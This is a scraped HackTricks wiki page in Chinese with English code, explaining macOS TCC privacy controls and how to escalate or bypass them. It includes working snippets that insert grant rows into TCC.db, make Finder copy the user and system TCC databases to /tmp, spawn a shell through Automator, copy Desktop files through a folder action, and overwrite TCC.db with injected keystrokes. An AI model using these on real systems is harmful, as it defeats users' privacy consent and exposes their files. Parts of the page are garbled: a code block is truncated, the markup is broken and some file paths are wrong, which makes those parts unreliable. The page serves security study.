hacktricks/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/README.md

27 KiB
Raw Blame History

macOS TCC

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

基本信息

TCC透明度、同意和控制是macOS中的一种机制用于限制和控制应用程序对某些功能的访问,通常从隐私角度出发。这可能包括位置服务、联系人、照片、麦克风、摄像头、辅助功能、完整磁盘访问等等。

从用户的角度来看当应用程序想要访问TCC保护的某个功能时他们会看到TCC正在执行**。这时,会出现一个对话框提示用户是否允许访问。

也可以通过用户的明确意图授权应用程序访问文件,例如当用户拖放文件到程序中时(显然程序应该能够访问它)。

TCC提示的一个例子

TCC由位于/System/Library/PrivateFrameworks/TCC.framework/Support/tccd守护进程处理,并在/System/Library/LaunchDaemons/com.apple.tccd.system.plist中配置注册mach服务com.apple.tccd.system)。

有一个用户模式tccd,为每个登录的用户运行,定义在/System/Library/LaunchAgents/com.apple.tccd.plist注册mach服务com.apple.tccdcom.apple.usernotifications.delegate.com.apple.tccd

这里你可以看到作为系统和用户运行的tccd

ps -ef | grep tcc
0   374     1   0 Thu07PM ??         2:01.66 /System/Library/PrivateFrameworks/TCC.framework/Support/tccd system
501 63079     1   0  6:59PM ??         0:01.95 /System/Library/PrivateFrameworks/TCC.framework/Support/tccd

权限是从父应用程序继承的,并且权限是基于Bundle IDDeveloper ID进行跟踪的。

TCC 数据库

然后允许/拒绝存储在一些 TCC 数据库中:

  • 系统范围的数据库位于 /Library/Application Support/com.apple.TCC/TCC.db
  • 此数据库受到 SIP 保护,因此只有 SIP 绕过才能写入它。
  • 用户 TCC 数据库 $HOME/Library/Application Support/com.apple.TCC/TCC.db 用于每个用户的偏好设置。
  • 此数据库受保护,因此只有具有高 TCC 权限的进程(如完全磁盘访问)才能写入它(但它不受 SIP 保护)。

{% hint style="warning" %} 上述数据库也受 TCC 保护以限制读取访问。因此,除非是来自具有 TCC 特权的进程,否则您将无法读取您的常规用户 TCC 数据库。

然而,请记住,具有这些高权限的进程(如 FDAkTCCServiceEndpointSecurityClient)将能够写入用户的 TCC 数据库 {% endhint %}

  • 还有第三个 TCC 数据库位于 /var/db/locationd/clients.plist,用于指示允许访问位置服务的客户端。
  • 受 SIP 保护的文件 /Users/carlospolop/Downloads/REG.db(也受 TCC 保护以限制读取访问),包含所有有效 TCC 数据库位置
  • 受 SIP 保护的文件 /Users/carlospolop/Downloads/MDMOverrides.plist(也受 TCC 保护以限制读取访问),包含更多 TCC 授予的权限。
  • 受 SIP 保护的文件 /Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist(但任何人都可读)是需要 TCC 异常的应用程序的允许列表。

{% hint style="success" %} iOS 中的 TCC 数据库位于 /private/var/mobile/Library/TCC/TCC.db {% endhint %}

{% hint style="info" %} 通知中心 UI 可以对系统 TCC 数据库进行更改

{% code overflow="wrap" %}

codesign -dv --entitlements :- /System/Library/PrivateFrameworks/TCC.framework/Support/tccd
[..]
com.apple.private.tcc.manager
com.apple.rootless.storage.TCC

{% endcode %}

然而,用户可以使用命令行工具 tccutil 删除或查询规则。 {% endhint %}

查询数据库

{% tabs %} {% tab title="用户数据库" %} {% code overflow="wrap" %}

sqlite3 ~/Library/Application\ Support/com.apple.TCC/TCC.db
sqlite> .schema
# Tables: admin, policies, active_policy, access, access_overrides, expired, active_policy_id
# The table access contains the permissions per services
sqlite> select service, client, auth_value, auth_reason from access;
kTCCServiceLiverpool|com.apple.syncdefaultsd|2|4
kTCCServiceSystemPolicyDownloadsFolder|com.tinyspeck.slackmacgap|2|2
kTCCServiceMicrophone|us.zoom.xos|2|2
[...]

# Check user approved permissions for telegram
sqlite> select * from access where client LIKE "%telegram%" and auth_value=2;
# Check user denied permissions for telegram
sqlite> select * from access where client LIKE "%telegram%" and auth_value=0;

{% endcode %} {% endtab %}

{% tab title="系统数据库" %} {% code overflow="wrap" %}

sqlite3 /Library/Application\ Support/com.apple.TCC/TCC.db
sqlite> .schema
# Tables: admin, policies, active_policy, access, access_overrides, expired, active_policy_id
# The table access contains the permissions per services
sqlite> select service, client, auth_value, auth_reason from access;
kTCCServiceLiverpool|com.apple.syncdefaultsd|2|4
kTCCServiceSystemPolicyDownloadsFolder|com.tinyspeck.slackmacgap|2|2
kTCCServiceMicrophone|us.zoom.xos|2|2
[...]

# Get all FDA
sqlite> select service, client, auth_value, auth_reason from access where service = "kTCCServiceSystemPolicyAllFiles" and auth_value=2;

# Check user approved permissions for telegram
sqlite> select * from access where client LIKE "%telegram%" and auth_value=2;
# Check user denied permissions for telegram
sqlite> select * from access where client LIKE "%telegram%" and auth_value=0;

{% endcode %} {% endtab %} {% endtabs %}

{% hint style="success" %} 检查这两个数据库,您可以检查应用程序已允许、已禁止或没有的权限(它将请求权限)。 {% endhint %}

  • service 是 TCC 权限的字符串表示形式
  • client 是具有权限的 bundle ID路径到二进制文件
  • client_type 表示它是 Bundle Identifier(0) 还是绝对路径(1)
如果是绝对路径该如何执行

只需执行 launctl load you_bin.plist,使用类似的 plist

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<!-- Label for the job -->
<key>Label</key>
<string>com.example.yourbinary</string>

<!-- The path to the executable -->
<key>Program</key>
<string>/path/to/binary</string>

<!-- Arguments to pass to the executable (if any) -->
<key>ProgramArguments</key>
<array>
<string>arg1</string>
<string>arg2</string>
</array>

<!-- Run at load -->
<key>RunAtLoad</key>
<true/>

<!-- Keep the job alive, restart if necessary -->
<key>KeepAlive</key>
<true/>

<!-- Standard output and error paths (optional) -->
<key>StandardOutPath</key>
<string>/tmp/YourBinary.stdout</string>
<key>StandardErrorPath</key>
<string>/tmp/YourBinary.stderr</string>
</dict>
</plist>
  • auth_value 可以有不同的值denied(0), unknown(1), allowed(2), 或 limited(3)。
  • auth_reason 可以取以下值Error(1), User Consent(2), User Set(3), System Set(4), Service Policy(5), MDM Policy(6), Override Policy(7), Missing usage string(8), Prompt Timeout(9), Preflight Unknown(10), Entitled(11), App Type Policy(12)
  • csreq 字段用于指示如何验证要执行的二进制文件并授予 TCC 权限:
```bash # Query to get cserq in printable hex select service, client, hex(csreq) from access where auth_value=2;

To decode it (https://stackoverflow.com/questions/52706542/how-to-get-csreq-of-macos-application-on-command-line):

BLOB="FADE0C000000003000000001000000060000000200000012636F6D2E6170706C652E5465726D696E616C000000000003" echo "$BLOB" | xxd -r -p > terminal-csreq.bin csreq -r- -t < terminal-csreq.bin

To create a new one (https://stackoverflow.com/questions/52706542/how-to-get-csreq-of-macos-application-on-command-line):

REQ_STR=$(codesign -d -r- /Applications/Utilities/Terminal.app/ 2>&1 | awk -F ' => ' '/designated/{print $2}') echo "$REQ_STR" | csreq -r- -b /tmp/csreq.bin REQ_HEX=$(xxd -p /tmp/csreq.bin | tr -d '\n') echo "X'$REQ_HEX'"

* 有关表格**其他字段**的更多信息,请[**查看此博客文章**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive)。

您还可以在 `系统偏好设置 --> 安全性与隐私 --> 隐私 --> 文件与文件夹` 中检查**已授予应用程序的权限**。

{% hint style="success" %}
用户_可以_使用 **`tccutil`** **删除或查询规则**。&#x20;
{% endhint %}

#### 重置 TCC 权限
```bash
# You can reset all the permissions given to an application with
tccutil reset All app.some.id

# Reset the permissions granted to all apps
tccutil reset All

TCC 签名检查

TCC 数据库 存储应用程序的 Bundle ID,但它也 存储 有关 签名信息,以 确保 请求使用权限的应用程序是正确的。

{% code overflow="wrap" %}

# From sqlite
sqlite> select service, client, hex(csreq) from access where auth_value=2;
#Get csreq

# From bash
echo FADE0C00000000CC000000010000000600000007000000060000000F0000000E000000000000000A2A864886F763640601090000000000000000000600000006000000060000000F0000000E000000010000000A2A864886F763640602060000000000000000000E000000000000000A2A864886F7636406010D0000000000000000000B000000000000000A7375626A6563742E4F550000000000010000000A364E33385657533542580000000000020000001572752E6B656570636F6465722E54656C656772616D000000 | xxd -r -p - > /tmp/telegram_csreq.bin
## Get signature checks
csreq -t -r /tmp/telegram_csreq.bin
(anchor apple generic and certificate leaf[field.1.2.840.113635.100.6.1.9] /* exists */ or anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] /* exists */ and certificate leaf[field.1.2.840.113635.100.6.1.13] /* exists */ and certificate leaf[subject.OU] = "6N38VWS5BX") and identifier "ru.keepcoder.Telegram"

{% endcode %}

{% hint style="warning" %} 因此,使用相同名称和捆绑 ID 的其他应用程序将无法访问授予其他应用程序的权限。 {% endhint %}

权限和 TCC 权限

应用程序不仅需要 请求并已被授予访问某些资源的权限,它们还需要具有相关的权限
例如,Telegram 有权限 com.apple.security.device.camera 来请求访问摄像头。一个没有这个权限的应用程序将无法访问摄像头(用户甚至不会被询问权限)。

然而,对于应用程序来说,要访问某些用户文件夹,如 ~/Desktop~/Downloads~/Documents,它们不需要具有任何特定的权限。系统将透明地处理访问并在需要时提示用户

苹果的应用程序不会生成提示。它们包含在其权限列表中的预先授予的权利,这意味着它们将永远不会生成弹出窗口也不会出现在任何TCC 数据库中。例如:

codesign -dv --entitlements :- /System/Applications/Calendar.app
[...]
<key>com.apple.private.tcc.allow</key>
<array>
<string>kTCCServiceReminders</string>
<string>kTCCServiceCalendar</string>
<string>kTCCServiceAddressBook</string>
</array>

这将避免日历请求用户访问提醒、日历和地址簿。

{% hint style="success" %} 除了一些关于权限的官方文档外,还可以在https://newosxbook.com/ent.jl找到关于权限的非官方有趣信息。 {% endhint %}

一些TCC权限包括kTCCServiceAppleEvents、kTCCServiceCalendar、kTCCServicePhotos... 没有公开的列表定义了所有这些权限,但你可以查看这个已知权限列表

敏感的未受保护地方

  • $HOME本身
  • $HOME/.ssh, $HOME/.aws 等
  • /tmp

用户意图 / com.apple.macl

如前所述,可以通过将文件拖放到应用程序上来授予应用程序对文件的访问权限。这种访问不会在任何TCC数据库中指定而是作为文件的扩展 属性。此属性将存储允许应用程序的UUID

xattr Desktop/private.txt
com.apple.macl

# Check extra access to the file
## Script from https://gist.githubusercontent.com/brunerd/8bbf9ba66b2a7787e1a6658816f3ad3b/raw/34cabe2751fb487dc7c3de544d1eb4be04701ac5/maclTrack.command
macl_read Desktop/private.txt
Filename,Header,App UUID
"Desktop/private.txt",0300,769FD8F1-90E0-3206-808C-A8947BEBD6C3

# Get the UUID of the app
otool -l /System/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal| grep uuid
uuid 769FD8F1-90E0-3206-808C-A8947BEBD6C3

{% hint style="info" %} 值得注意的是,com.apple.macl 属性是由 Sandbox 管理的,而不是 tccd。

另外请注意,如果您将允许计算机中某个应用的 UUID 的文件移动到另一台计算机,因为同一个应用将有不同的 UIDs它不会授予那个应用访问权限。 {% endhint %}

扩展属性 com.apple.macl 无法像其他扩展属性那样被清除,因为它受到 SIP 的保护。然而,正如这篇文章中解释的,通过对文件进行压缩删除,然后解压,可以禁用它。

TCC 权限提升与绕过

插入到 TCC

如果您在某个时刻设法获得了对 TCC 数据库的写入权限,您可以使用类似以下的方法添加一个条目(移除注释):

插入到 TCC 示例 ```sql INSERT INTO access ( service, client, client_type, auth_value, auth_reason, auth_version, csreq, policy_id, indirect_object_identifier_type, indirect_object_identifier, indirect_object_code_identity, flags, last_modified, pid, pid_version, boot_uuid, last_reminded ) VALUES ( 'kTCCServiceSystemPolicyDesktopFolder', -- service 'com.googlecode.iterm2', -- client 0, -- client_type (0 - bundle id) 2, -- auth_value (2 - allowed) 3, -- auth_reason (3 - "User Set") 1, -- auth_version (always 1) X'FADE0C00000000C40000000100000006000000060000000F0000000200000015636F6D2E676F6F676C65636F64652E697465726D32000000000000070000000E000000000000000A2A864886F7636406010900000000000000000006000000060000000E000000010000000A2A864886F763640602060000000000000000000E000000000000000A2A864886F7636406010D0000000000000000000B000000000000000A7375626A6563742E4F550000000000010000000A483756375859565137440000', -- csreq is a BLOB, set to NULL for now NULL, -- policy_id NULL, -- indirect_object_identifier_type 'UNUSED', -- indirect_object_identifier - default value NULL, -- indirect_object_code_identity 0, -- flags strftime('%s', 'now'), -- last_modified with default current timestamp NULL, -- assuming pid is an integer and optional NULL, -- assuming pid_version is an integer and optional 'UNUSED', -- default value for boot_uuid strftime('%s', 'now') -- last_reminded with default current timestamp ); ```

TCC Payloads

如果您成功进入了一个拥有一些TCC权限的应用程序请查看以下页面其中包含了可以滥用这些权限的TCC payloads

{% content-ref url="macos-tcc-payloads.md" %} macos-tcc-payloads.md {% endcontent-ref %}

自动化查找器到FDA*

TCC权限中的自动化权限名称是kTCCServiceAppleEvents
这个特定的TCC权限还指示了可以在TCC数据库中管理的应用程序(所以权限并不允许管理一切)。

Finder是一个总是拥有FDA的应用程序即使它没有出现在UI中所以如果您拥有对它的自动化权限,您可以滥用它的权限来让它执行一些操作
在这种情况下,您的应用程序将需要对**com.apple.FinderkTCCServiceAppleEvents**权限。

{% tabs %} {% tab title="窃取用户的TCC.db" %}

# This AppleScript will copy the system TCC database into /tmp
osascript<<EOD
tell application "Finder"
set homeFolder to path to home folder as string
set sourceFile to (homeFolder & "Library:Application Support:com.apple.TCC:TCC.db") as alias
set targetFolder to POSIX file "/tmp" as alias
duplicate file sourceFile to targetFolder with replacing
end tell
EOD

{% endtab %}

{% tab title="窃取系统 TCC.db" %}

osascript<<EOD
tell application "Finder"
set sourceFile to POSIX file "/Library/Application Support/com.apple.TCC/TCC.db" as alias
set targetFolder to POSIX file "/tmp" as alias
duplicate file sourceFile to targetFolder with replacing
end tell
EOD

{% endtab %} {% endtabs %}

您可以利用这一点编写您自己的用户TCC数据库

{% hint style="warning" %} 拥有这个权限,您将能够请求访达访问受TCC限制的文件夹并向您提供文件,但据我所知,您无法使访达执行任意代码以完全利用其FDA访问权限。

因此您将无法完全利用FDA的能力。 {% endhint %}

这是获取对访达自动化权限的TCC提示

{% hint style="danger" %} 请注意,因为自动操作应用具有TCC权限**kTCCServiceAppleEvents,它可以控制任何应用**,如访达。所以,如果您有控制自动操作的权限,您也可以使用下面的代码控制访达 {% endhint %}

在自动操作中获取一个shell ```applescript osascript<tell application "Automator" set actionID to Automator action id "com.apple.RunShellScript" tell (make new workflow) add actionID to it tell last Automator action set value of setting "inputMethod" to 1 set value of setting "COMMAND_STRING" to theScript end tell execute it end tell activate end tell EOD

Once inside the shell you can use the previous code to make Finder copy the TCC databases for example and not TCC prompt will appear

</details>

同样的情况也发生在**Script Editor app,** 它可以控制Finder但使用AppleScript你不能强制它执行脚本。

### 自动化 (SE) 到某些TCC

**系统事件可以创建文件夹操作而文件夹操作可以访问一些TCC文件夹**(桌面、文档和下载),因此可以使用类似以下的脚本来滥用这种行为:
```bash
# Create script to execute with the action
cat > "/tmp/script.js" <<EOD
var app = Application.currentApplication();
app.includeStandardAdditions = true;
app.doShellScript("cp -r $HOME/Desktop /tmp/desktop");
EOD

osacompile -l JavaScript -o "$HOME/Library/Scripts/Folder Action Scripts/script.scpt" "/tmp/script.js"

# Create folder action with System Events in "$HOME/Desktop"
osascript <<EOD
tell application "System Events"
-- Ensure Folder Actions are enabled
set folder actions enabled to true

-- Define the path to the folder and the script
set homeFolder to path to home folder as text
set folderPath to homeFolder & "Desktop"
set scriptPath to homeFolder & "Library:Scripts:Folder Action Scripts:script.scpt"

-- Create or get the Folder Action for the Desktop
if not (exists folder action folderPath) then
make new folder action at end of folder actions with properties {name:folderPath, path:folderPath}
end if
set myFolderAction to folder action folderPath

-- Attach the script to the Folder Action
if not (exists script scriptPath of myFolderAction) then
make new script at end of scripts of myFolderAction with properties {name:scriptPath, path:scriptPath}
end if

-- Enable the Folder Action and the script
enable myFolderAction
end tell
EOD

# File operations in the folder should trigger the Folder Action
touch "$HOME/Desktop/file"
rm "$HOME/Desktop/file"

自动化 (SE) + 辅助功能 (kTCCServicePostEvent|kTCCServiceAccessibility) 到 FDA*

系统事件 上的自动化 + 辅助功能 (kTCCServicePostEvent) 允许向进程发送 按键指令。通过这种方式你可以滥用Finder来更改用户的TCC.db或者给任意应用授权FDA尽管这样做可能会提示输入密码

Finder覆盖用户TCC.db的示例

-- store the TCC.db file to copy in /tmp
osascript <<EOF
tell application "System Events"
-- Open Finder
tell application "Finder" to activate

-- Open the /tmp directory
keystroke "g" using {command down, shift down}
delay 1
keystroke "/tmp"
delay 1
keystroke return
delay 1

-- Select and copy the file
keystroke "TCC.db"
delay 1
keystroke "c" using {command down}
delay 1

-- Resolve $HOME environment variable
set homePath to system attribute "HOME"

-- Navigate to the Desktop directory under $HOME
keystroke "g" using {command down, shift down}
delay 1
keystroke homePath & "/Library/Application Support/com.apple.TCC"
delay 1
keystroke return
delay 1

-- Check if the file exists in the destination and delete if it does (need to send keystorke code: https://macbiblioblog.blogspot.com/2014/12/key-codes-for-function-and-special-keys.html)
keystroke "TCC.db"
delay 1
keystroke return
delay 1
key code 51 using {command down}
delay 1

-- Paste the file
keystroke "v" using {command down}
end tell
EOF

kTCCServiceAccessibility 至 FDA*

查看此页面以获取一些滥用辅助功能权限的有效载荷,例如升级至 FDA* 或运行键盘记录器。

端点安全客户端至 FDA

如果你拥有 kTCCServiceEndpointSecurityClient,你就拥有 FDA。结束。

系统策略系统管理员文件至 FDA

kTCCServiceSystemPolicySysAdminFiles 允许更改用户的 NFSHomeDirectory 属性,这会更改他的家目录,因此允许绕过 TCC

用户 TCC 数据库至 FDA

获取对用户 TCC 数据库的写权限,你不能授予自己 FDA 权限,只有系统数据库中的那个可以授予该权限。

但是你可以给自己授予**自动化权限至查找器**,并滥用前述技术升级至 FDA*。

FDA 至 TCC 权限

完全磁盘访问 在 TCC 中的名称是 kTCCServiceSystemPolicyAllFiles

我不认为这是一个真正的权限提升,但以防你觉得它有用:如果你控制了一个拥有 FDA 的程序,你可以修改用户的 TCC 数据库并授予自己任何访问权限。这可以作为一种持久性技术,在你可能失去 FDA 权限时使用。

SIP 绕过至 TCC 绕过

系统TCC 数据库受到 SIP 保护,这就是为什么只有拥有指定权限的进程才能修改它。因此,如果攻击者找到了一个文件的 SIP 绕过(能够修改受 SIP 限制的文件),他将能够:

  • 移除 TCC 数据库的保护,并给自己所有 TCC 权限。例如,他可以滥用以下任何文件:
  • TCC 系统数据库
  • REG.db
  • MDMOverrides.plist

然而,还有另一种方法可以滥用这个SIP 绕过来绕过 TCC,文件 /Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist 是一个允许列表,列出了需要 TCC 异常的应用程序。因此,如果攻击者可以移除该文件的 SIP 保护并添加他自己的应用程序,该应用程序将能够绕过 TCC。
例如添加终端:

# Get needed info
codesign -d -r- /System/Applications/Utilities/Terminal.app

AllowApplicationsList.plist

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Services</key>
<dict>
<key>SystemPolicyAllFiles</key>
<array>
<dict>
<key>CodeRequirement</key>
<string>identifier &quot;com.apple.Terminal&quot; and anchor apple</string>
<key>IdentifierType</key>
<string>bundleID</string>
<key>Identifier</key>
<string>com.apple.Terminal</string>
</dict>
</array>
</dict>
</dict>
</plist>

TCC 绕过

{% content-ref url="macos-tcc-bypasses/" %} macos-tcc-bypasses {% endcontent-ref %}

参考资料

☁️ HackTricks 云 ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥